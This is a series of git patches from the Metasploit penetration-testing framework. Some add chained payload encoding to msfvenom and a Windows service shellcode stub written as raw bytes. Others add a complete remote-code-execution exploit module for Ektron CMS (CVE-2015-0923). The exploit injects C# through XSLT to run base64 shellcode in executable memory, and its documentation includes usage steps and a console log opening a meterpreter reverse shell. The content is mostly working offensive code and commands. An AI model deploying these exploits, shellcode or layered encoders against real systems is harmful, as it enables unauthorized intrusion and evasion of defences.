From 378208bc3db6f3ebd39f03a36d705c25b70e99ce Mon Sep 17 00:00:00 2001 From: agix Date: Thu, 23 Jun 2016 14:56:03 +0200 Subject: [PATCH 001/426] Move service stub in x86 encoder to be easily used. Add psexec option SERCVICE_STUB_ENCODER to allow a list of encoder to encode the x86/service stub. Add multiple_encode_payload function in payload_generator.rb to accept a list of encoder (beginning with @ to not break the classic parsing of encoder). With this it would be possible to pass multiple encoder to msfvenom in one execution. ./msfvenom -p windows/meterpreter/reverse_tcp LPORT=80 LHOST=192.168.100.11 -e @x86/shikata_ga_nai,x86/misc_anti_emu:5,x86/shikata_ga_nai -x template.exe -f exe-only -o meterpreter.exe --- lib/msf/core/payload_generator.rb | 19 +++- lib/msf/util/exe.rb | 69 ++----------- modules/encoders/x86/service.rb | 128 +++++++++++++++++++++++++ modules/exploits/windows/smb/psexec.rb | 6 +- msfconsole | 2 +- 5 files changed, 159 insertions(+), 65 deletions(-) create mode 100644 modules/encoders/x86/service.rb diff --git a/lib/msf/core/payload_generator.rb b/lib/msf/core/payload_generator.rb index ec8c96b972..51aa1b9ebd 100644 --- a/lib/msf/core/payload_generator.rb +++ b/lib/msf/core/payload_generator.rb @@ -205,6 +205,19 @@ module Msf chosen_platform end + def multiple_encode_payload(shellcode) + encoder_str = encoder[1..-1] + encoder_str.scan(/([^:, ]+):?([^,]+)?/).map do |encoder_opt| + @iterations = (encoder_opt[1] || 1).to_i + @iterations = 1 if iterations < 1 + + encoder_mod = framework.encoders.create(encoder_opt[0]) + encoder_mod.datastore.import_options_from_hash(datastore) + shellcode = run_encoder(encoder_mod, shellcode) + end + shellcode + end + # This method takes the shellcode generated so far and iterates through # the chosen or compatible encoders. It attempts to encode the payload # with each encoder until it finds one that works. @@ -327,7 +340,11 @@ module Msf else raw_payload = generate_raw_payload raw_payload = add_shellcode(raw_payload) - encoded_payload = encode_payload(raw_payload) + if encoder.start_with?("@") + encoded_payload = multiple_encode_payload(raw_payload) + else + encoded_payload = encode_payload(raw_payload) + end encoded_payload = prepend_nops(encoded_payload) cli_print "Payload size: #{encoded_payload.length} bytes" gen_payload = format_payload(encoded_payload) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index e6446f604c..b615ccdc27 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -2,12 +2,12 @@ module Msf module Util - # # The class provides methods for creating and encoding executable file # formats for various platforms. It is a replacement for the previous # code in Rex::Text # + class EXE require 'rex' @@ -50,7 +50,6 @@ require 'msf/core/exe/segment_appender' # Check if it exists now return if File.file?(opts[:template]) - # If it failed, try the default... if opts[:fallback] default_template = File.join(path, exe) @@ -602,67 +601,15 @@ require 'msf/core/exe/segment_appender' opts[:exe_type] = :service_exe return exe_sub_method(code,opts) else - name = opts[:servicename] - name ||= Rex::Text.rand_text_alpha(8) - pushed_service_name = string_to_pushes(name) + ENV['MSF_SERVICENAME'] = opts[:servicename] - precode_size = 0xc6 - svcmain_code_offset = precode_size + pushed_service_name.length + opts[:framework] = framework + opts[:payload] = 'stdin' + opts[:encoder] = '@x86/service,'+opts[:serviceencoder] - precode_size = 0xcc - hash_code_offset = precode_size + pushed_service_name.length - - precode_size = 0xbf - svcctrlhandler_code_offset = precode_size + pushed_service_name.length - - code_service_stopped = - "\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" + - "#{pushed_service_name}\x89\xE1\x8D\x47\x03\x6A\x00" + - "\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" + - "\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" + - "\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5" - - precode_size = 0x42 - shellcode_code_offset = code_service_stopped.length + precode_size - - # code_service could be encoded in the future - code_service = - "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - "\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" + - "\x26\x07\xFF\xD5#{pushed_service_name}\x89\xE1" + - "\x8D\x85#{[svcmain_code_offset].pack('I<')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" + - "\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" + - "\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" + - "#{[hash_code_offset].pack('I<') + pushed_service_name}\x89\xE1\x8D" + - "\x85#{[svcctrlhandler_code_offset].pack('I<')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" + - "\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" + - "\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" + - "\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" + - "\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" + - "\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" + - "\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" + - "\x40\x68\x00\x10\x00\x00\x68#{[code.length].pack('I<')}\x57\x51\x68\xAE\x87" + - "\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" + - "#{[shellcode_code_offset].pack('I<')}\x54\x68#{[code.length].pack('I<')}" + - "\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" + - "\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" + - "\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" + - "\x51\x68\xC6\x96\x87\x52\xFF\xD5#{code_service_stopped}" - - # Append a new section to the template - Msf::Exe::SegmentAppender.new({ - :payload => code_service + code, - :template => opts[:template], - :arch => :x86 - }).generate_pe + venom_generator = Msf::PayloadGenerator.new(opts) + code_service = venom_generator.multiple_encode_payload(code) + return to_winpe_only(framework, code_service, opts) end end diff --git a/modules/encoders/x86/service.rb b/modules/encoders/x86/service.rb new file mode 100644 index 0000000000..49be93d4c5 --- /dev/null +++ b/modules/encoders/x86/service.rb @@ -0,0 +1,128 @@ +require 'metasm' +require 'msf/core' + +class MetasploitModule < Msf::Encoder + + Rank = ManualRanking + + def initialize + super( + 'Name' => 'Register service', + 'Version' => '$Revision: 14774 $', + 'Description' => 'Register service if used with psexec for example', + 'Author' => 'agix', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'EncoderType' => Msf::Encoder::Type::Raw + ) + end + + @@cpu32 = Metasm::Ia32.new + def assemble(src, cpu=@@cpu32) + Metasm::Shellcode.assemble(cpu, src).encode_string + end + + def can_preserve_registers? + true + end + + def modified_registers + [] + end + + def preserves_stack? + true + end + + def string_to_pushes(string) + str = string.dup + # Align string to 4 bytes + rem = (str.length) % 4 + if rem > 0 + str << "\x00" * (4 - rem) + pushes = '' + else + pushes = "h\x00\x00\x00\x00" + end + # string is now 4 bytes aligned with null byte + + # push string to stack, starting at the back + while str.length > 0 + four = 'h'+str.slice!(-4,4) + pushes << four + end + + pushes + end + + def encode_block(state, block) + nb_iter = rand(0x2fffffff)+0xfffffff + + push_registers = '' + pop_registers = '' + if datastore['SaveRegisters'] + datastore['SaveRegisters'].split(" ").each { |reg| + push_registers += assemble("push %s"%reg) + pop_registers = assemble("pop %s"%reg) + pop_registers + } + end + + name = ENV['MSF_SERVICENAME'] + name ||= Rex::Text.rand_text_alpha(8) + pushed_service_name = string_to_pushes(name) + + precode_size = 0xc6 + svcmain_code_offset = precode_size + pushed_service_name.length + + precode_size = 0xcc + hash_code_offset = precode_size + pushed_service_name.length + + precode_size = 0xbf + svcctrlhandler_code_offset = precode_size + pushed_service_name.length + + code_service_stopped = + "\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" + + "#{pushed_service_name}\x89\xE1\x8D\x47\x03\x6A\x00" + + "\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" + + "\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" + + "\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5" + + precode_size = 0x42 + shellcode_code_offset = code_service_stopped.length + precode_size + + # code_service could be encoded in the future + code_service = + "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + + "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + + "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + + "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + + "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + + "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + + "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + + "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + + "\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" + + "\x26\x07\xFF\xD5#{pushed_service_name}\x89\xE1" + + "\x8D\x85#{[svcmain_code_offset].pack('I<')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" + + "\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" + + "\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" + + "#{[hash_code_offset].pack('I<') + pushed_service_name}\x89\xE1\x8D" + + "\x85#{[svcctrlhandler_code_offset].pack('I<')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" + + "\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" + + "\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" + + "\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" + + "\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" + + "\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" + + "\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" + + "\x40\x68\x00\x10\x00\x00\x68#{[block.length].pack('I<')}\x57\x51\x68\xAE\x87" + + "\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" + + "#{[shellcode_code_offset].pack('I<')}\x54\x68#{[block.length].pack('I<')}" + + "\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" + + "\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" + + "\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" + + "\x51\x68\xC6\x96\x87\x52\xFF\xD5#{code_service_stopped}" + + return push_registers + code_service + pop_registers + block + end + +end \ No newline at end of file diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index d9a46e9b37..e69de8593a 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -85,7 +85,8 @@ class MetasploitModule < Msf::Exploit::Remote [ OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]), OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]), - OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']) + OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']), + OptString.new('SERVICE_STUB_ENCODER', [false, "Encoder to use around the service registering stub",nil]) ], self.class) end @@ -182,6 +183,7 @@ class MetasploitModule < Msf::Exploit::Remote def native_upload filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe" servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8) + serviceencoder = datastore['SERVICE_STUB_ENCODER'] || '' # Upload the shellcode to a file print_status("Uploading payload...") @@ -203,7 +205,7 @@ class MetasploitModule < Msf::Exploit::Remote fd = smb_open("\\#{filename}", 'rwct') end exe = '' - opts = { :servicename => servicename } + opts = { :servicename => servicename, :serviceencoder => serviceencoder} begin exe = generate_payload_exe_service(opts) diff --git a/msfconsole b/msfconsole index a96c91d768..b9ba9f0b52 100755 --- a/msfconsole +++ b/msfconsole @@ -44,5 +44,5 @@ end # @see https://github.com/rails/rails/blob/v3.2.17/railties/lib/rails/generators/rails/app/templates/script/rails#L3-L5 require Pathname.new(__FILE__).realpath.expand_path.parent.join('config', 'boot') require 'metasploit/framework/command/console' - +require 'msf/core/payload_generator' Metasploit::Framework::Command::Console.start From 9bb557732034969ca0e4f9570319a69560579045 Mon Sep 17 00:00:00 2001 From: agix Date: Thu, 23 Jun 2016 15:23:40 +0200 Subject: [PATCH 002/426] Forget to push the fix for msftidy... --- modules/encoders/x86/service.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/encoders/x86/service.rb b/modules/encoders/x86/service.rb index 49be93d4c5..de2d780d2f 100644 --- a/modules/encoders/x86/service.rb +++ b/modules/encoders/x86/service.rb @@ -7,7 +7,7 @@ class MetasploitModule < Msf::Encoder def initialize super( - 'Name' => 'Register service', + 'Name' => 'Register Service', 'Version' => '$Revision: 14774 $', 'Description' => 'Register service if used with psexec for example', 'Author' => 'agix', @@ -125,4 +125,4 @@ class MetasploitModule < Msf::Encoder return push_registers + code_service + pop_registers + block end -end \ No newline at end of file +end From 3105ff3626fdd7c540243170841688dbe628df59 Mon Sep 17 00:00:00 2001 From: agix Date: Thu, 23 Jun 2016 15:44:35 +0200 Subject: [PATCH 003/426] fix error when encoder is nil --- lib/msf/core/payload_generator.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/payload_generator.rb b/lib/msf/core/payload_generator.rb index 51aa1b9ebd..3b780eaca3 100644 --- a/lib/msf/core/payload_generator.rb +++ b/lib/msf/core/payload_generator.rb @@ -340,7 +340,8 @@ module Msf else raw_payload = generate_raw_payload raw_payload = add_shellcode(raw_payload) - if encoder.start_with?("@") + + if encoder != nil and encoder.start_with?("@") encoded_payload = multiple_encode_payload(raw_payload) else encoded_payload = encode_payload(raw_payload) From 88bdee4d4b44d38a68953abc8727ad0ef02d3ebc Mon Sep 17 00:00:00 2001 From: agix Date: Wed, 29 Jun 2016 23:07:35 +0200 Subject: [PATCH 004/426] Pass service name in env to the encoders --- modules/exploits/windows/smb/psexec.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index e69de8593a..0472a2b2a1 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -165,6 +165,7 @@ class MetasploitModule < Msf::Exploit::Remote end def powershell + ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME'] command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) if datastore['PSH::persist'] and not datastore['DisablePayloadHandler'] From 6cbae172f85fff504abf0cc63c4847a02d636c7f Mon Sep 17 00:00:00 2001 From: Catatonic Prime Date: Mon, 10 Oct 2016 05:21:45 +0000 Subject: [PATCH 005/426] Adding Ektron 8.5 Web Service XSLT RCE --- .../windows/http/ektron_xslt_exec_ws.rb | 211 ++++++++++++++++++ 1 file changed, 211 insertions(+) create mode 100644 modules/exploits/windows/http/ektron_xslt_exec_ws.rb diff --git a/modules/exploits/windows/http/ektron_xslt_exec_ws.rb b/modules/exploits/windows/http/ektron_xslt_exec_ws.rb new file mode 100644 index 0000000000..51d05d70d8 --- /dev/null +++ b/modules/exploits/windows/http/ektron_xslt_exec_ws.rb @@ -0,0 +1,211 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/file_dropper' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Ektron 8.5, 8.7 < sp2, 9.0 < sp1 XSLT Transform Remote Code Execution', + 'Description' => %q{ + }, + 'Author' => [ + 'catatonicprime' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2015-0923' ], + [ 'US-CERT-VU', '377644' ], + [ 'URL', 'http://www.websecuritywatch.com/xxe-arbitrary-code-execution-in-ektron-cms/' ] + ], + 'Payload' => + { + 'Space' => 2048, + 'StackAdjustment' => -3500 + }, + 'Platform' => 'win', + 'Privileged' => true, + 'Targets' => + [ + ['Windows 2008 R2 / Ektron CMS400 8.5', { 'Arch' => [ ARCH_X86_64, ARCH_X86 ] }] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Feb 05 2015' + )) + + register_options( + [ + OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60]), + OptString.new('TARGETURI', [true, 'The URI path of the Ektron CMS', '/cms400min/']), + OptEnum.new('TARGETOP', + [ + true, + 'The vulnerable web service operation to exploit', + 'ContentBlockEx', + [ + 'ContentBlockEx', + 'GetBookmarkString', + 'GetContentFlaggingString', + 'GetContentRatingString', + 'GetMessagingString' + ] + ]) + ], self.class ) + end + + + def vulnerable_param + return 'Xslt' if datastore['TARGETOP'] == 'ContentBlockEx' + 'xslt' + end + + def required_params + return '' if datastore['TARGETOP'] == 'ContentBlockEx' + '' + end + + def target_operation + datastore['TARGETOP'] + end + + def prologue + <<-XSLT + + + + <#{target_operation} xmlns="http://www.ektron.com/CMS400/Webservice"> + #{required_params} + <#{vulnerable_param}> + + +XSLT + end + + def epilogue + <<-XSLT + + + + + + ]]> + + + + +XSLT + end + + def check + + fingerprint = rand_text_alpha(5 + rand(5)) + xslt_data = <<-XSLT +#{prologue} + public string xml() { + return "#{fingerprint}"; + } +#{epilogue} +XSLT + + res = send_request_cgi( + { + 'uri' => "#{uri_path}WorkArea/ServerControlWS.asmx", + 'version' => '1.1', + 'method' => 'POST', + 'ctype' => "text/xml; charset=UTF-8", + 'headers' => { + "Referer" => build_referer + }, + 'data' => xslt_data + }) + + if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/ + return Exploit::CheckCode::Vulnerable + end + return Exploit::CheckCode::Safe + end + + def uri_path + uri_path = target_uri.path + uri_path << "/" if uri_path[-1, 1] != "/" + uri_path + end + + def build_referer + if datastore['SSL'] + schema = "https://" + else + schema = "http://" + end + + referer = schema + referer << rhost + referer << ":#{rport}" + referer << uri_path + referer + end + + def exploit + + print_status("Generating the EXE Payload and the XSLT...") + fingerprint = rand_text_alpha(5 + rand(5)) + + xslt_data = <<-XSLT +#{prologue} + private static UInt32 MEM_COMMIT = 0x1000; + private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; + + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); + + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId); + + public string xml() + { + string shellcode64 = @"#{Rex::Text.encode_base64(payload.encoded)}"; + byte[] shellcode = System.Convert.FromBase64String(shellcode64); + UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + System.Runtime.InteropServices.Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length); + IntPtr hThread = IntPtr.Zero; + IntPtr pinfo = IntPtr.Zero; + UInt32 threadId = 0; + hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); + return "#{fingerprint}"; + } +#{epilogue} +XSLT + + print_status("Trying to run the xslt transformation...") + res = send_request_cgi( + { + 'uri' => "#{uri_path}WorkArea/ServerControlWS.asmx", + 'version' => '1.1', + 'method' => 'POST', + 'ctype' => "text/xml; charset=UTF-8", + 'headers' => { + "Referer" => build_referer + }, + 'data' => xslt_data + }) + if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/ + print_good("Exploitation was successful") + else + fail_with(Failure::Unknown, "There was an unexpected response to the xslt transformation request") + end + + end +end From 467f9e700d2166bf34c2e50d1d8b2b0ba59fb344 Mon Sep 17 00:00:00 2001 From: Catatonic Prime Date: Mon, 10 Oct 2016 06:11:29 +0000 Subject: [PATCH 006/426] msftidy fixes for title & removing unused dependency --- modules/exploits/windows/http/ektron_xslt_exec_ws.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/http/ektron_xslt_exec_ws.rb b/modules/exploits/windows/http/ektron_xslt_exec_ws.rb index 51d05d70d8..626cc66f43 100644 --- a/modules/exploits/windows/http/ektron_xslt_exec_ws.rb +++ b/modules/exploits/windows/http/ektron_xslt_exec_ws.rb @@ -4,7 +4,6 @@ ## require 'msf/core' -require 'msf/core/exploit/file_dropper' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -14,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Ektron 8.5, 8.7 < sp2, 9.0 < sp1 XSLT Transform Remote Code Execution', + 'Name' => 'Ektron 8.5, 8.7, 9.0 XSLT Transform Remote Code Execution', 'Description' => %q{ }, 'Author' => [ @@ -129,7 +128,7 @@ XSLT 'headers' => { "Referer" => build_referer }, - 'data' => xslt_data + 'data' => xslt_data }) if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/ From da307a531292cfa9ec913636f5e7f1aa748bed5c Mon Sep 17 00:00:00 2001 From: Catatonic Prime Date: Mon, 10 Oct 2016 06:22:11 +0000 Subject: [PATCH 007/426] Adding description of the module --- modules/exploits/windows/http/ektron_xslt_exec_ws.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/ektron_xslt_exec_ws.rb b/modules/exploits/windows/http/ektron_xslt_exec_ws.rb index 626cc66f43..01478bc245 100644 --- a/modules/exploits/windows/http/ektron_xslt_exec_ws.rb +++ b/modules/exploits/windows/http/ektron_xslt_exec_ws.rb @@ -14,7 +14,10 @@ class MetasploitModule < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, 'Name' => 'Ektron 8.5, 8.7, 9.0 XSLT Transform Remote Code Execution', - 'Description' => %q{ + 'Description' => %q{ Ektron 8.5, 8.7 <= sp1, 9.0 < sp1 have +vulnerabilities in various operations within the ServerControlWS.asmx +web services. These vulnerabilities allow for RCE without authentication and +execute in the context of IIS on the remote system. }, 'Author' => [ 'catatonicprime' From 1ddd31029ed214d4ddcc1ec99a64eadf8fe38b24 Mon Sep 17 00:00:00 2001 From: Catatonic Prime Date: Sun, 30 Oct 2016 04:52:36 +0000 Subject: [PATCH 008/426] Adding documentation for ektron_xslt_exec_ws exploit module. --- .../windows/http/ektron_xslt_exec_ws.md | 74 +++++++++++++++++++ 1 file changed, 74 insertions(+) create mode 100644 documentation/modules/exploit/windows/http/ektron_xslt_exec_ws.md diff --git a/documentation/modules/exploit/windows/http/ektron_xslt_exec_ws.md b/documentation/modules/exploit/windows/http/ektron_xslt_exec_ws.md new file mode 100644 index 0000000000..c2adc0cb6d --- /dev/null +++ b/documentation/modules/exploit/windows/http/ektron_xslt_exec_ws.md @@ -0,0 +1,74 @@ +The following is the recommended format for module documentation. +But feel free to add more content/sections to this. + + +## Vulnerable Application + + Ektron Content Management System (CMS) 8.5 and 8.7 before 8.7sp2 and 9.0 before sp1 (according to CVE-2015-0923) + +## Verification Steps + + Ektron has been acquired by another company and finding installers may prove difficult. But if you can build a test network the following may be used to verify: + + 1. Install the application + 2. Start msfconsole + 3. Do: ```use exploit/windows/http/ektron_xslt_exec_ws``` + 4. Do: ```set RHOST [target ip]``` + 5. Do: ```check``` + 6. You should receive a target vulnerable message. + 7. Do: ```run``` + 8. You should get a shell. + + In our experience testing against 64 bit hosts should still pass the 'check' in step 6 and return a target vulnerable message. But when injecting shellcode into a new thread it may require the tester to adjust the payload as well. This may be done as follows: + + 1. Do ```set PAYLOAD windows/x64/meterpreter``` + +## Options + + These are important but perhaps less-used options. There are quite a few other 'web' options available which will not be discussed due to their generality. + + **TARGETOP** + + There are multiple operations which are vulnerable to this XSLT bug. We have enumerated more (likely all) of the operations in ServerControlWS.asmx and provide testers with the ability to test the additional options by setting this option to one of the following: ContentBlockEx, GetContentFlaggingString,GetMessagingString, GetBookmarkString, GetContentRatingString + + This value defaults to ContentBlockEx (from the original reports). Testers may find adjusting this value useful if defenders have included Web Application Firewall (WAF) rules to specifically filter ContentBlockEx as a mitigation in lieu of updating. + + **TARGETURI** + + This allows the tester to adjust the base-installation path. The default value is '/cms400min' but in our experience many deployments are simply the root path '/'. + +## Scenarios + + Checking if a target is vulnerable. + + ``` + msf > use exploit/windows/http/ektron_xslt_exec_ws + msf exploit(ektron_xslt_exec_ws) > set RHOST 192.168.1.175 + RHOST => 192.168.1.175 + msf exploit(ektron_xslt_exec_ws) > check + [+] 192.168.1.175:80 The target is vulnerable + msf exploit(ektron_xslt_exec_ws) > + ``` + + Exploiting a Win7 x64 installation to obtain shell. + + ``` + msf > use exploit/windows/http/ektron_xslt_exec_ws + msf exploit(ektron_xslt_exec_ws) > set RHOST 192.168.1.175 + RHOST => 192.168.1.175 + msf exploit(ektron_xslt_exec_ws) > check + [+] 192.168.1.175:80 The target is vulnerable. + msf exploit(ektron_xslt_exec_ws) > set PAYLOAD windows/x64/meterpreter/reverse_tcp + PAYLOAD => windows/x64/meterpreter/reverse_tcp + msf exploit(ektron_xslt_exec_ws) > set LHOST 192.168.1.50 + LHOST => 192.168.1.50 + msf exploit(ektron_xslt_exec_ws) > exploit + [*] Started reverse TCP handler on 192.168.1.50:4444 + [*] Generating the EXE Payload and the XSLT... + [*] Trying to run the xslt transformation... + [+] Exploitation was successful + [*] Sending stage (1189423 bytes) to 192.168.1.175 + [*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.175:49169) at 2016-10-30 04:36:50 +0000 + + meterpreter > + ``` From 48e585b66c4c245df94ae693ace30f1514492273 Mon Sep 17 00:00:00 2001 From: Catatonic Prime Date: Sun, 30 Oct 2016 04:58:02 +0000 Subject: [PATCH 009/426] Removing sample documentation lines. --- .../modules/exploit/windows/http/ektron_xslt_exec_ws.md | 4 ---- 1 file changed, 4 deletions(-) diff --git a/documentation/modules/exploit/windows/http/ektron_xslt_exec_ws.md b/documentation/modules/exploit/windows/http/ektron_xslt_exec_ws.md index c2adc0cb6d..9738f89ed2 100644 --- a/documentation/modules/exploit/windows/http/ektron_xslt_exec_ws.md +++ b/documentation/modules/exploit/windows/http/ektron_xslt_exec_ws.md @@ -1,7 +1,3 @@ -The following is the recommended format for module documentation. -But feel free to add more content/sections to this. - - ## Vulnerable Application Ektron Content Management System (CMS) 8.5 and 8.7 before 8.7sp2 and 9.0 before sp1 (according to CVE-2015-0923) From efc65dbb0ce98b7fabd51260a48c8121c6accf81 Mon Sep 17 00:00:00 2001 From: Catatonic Prime Date: Sun, 30 Oct 2016 04:59:40 +0000 Subject: [PATCH 010/426] Language --- 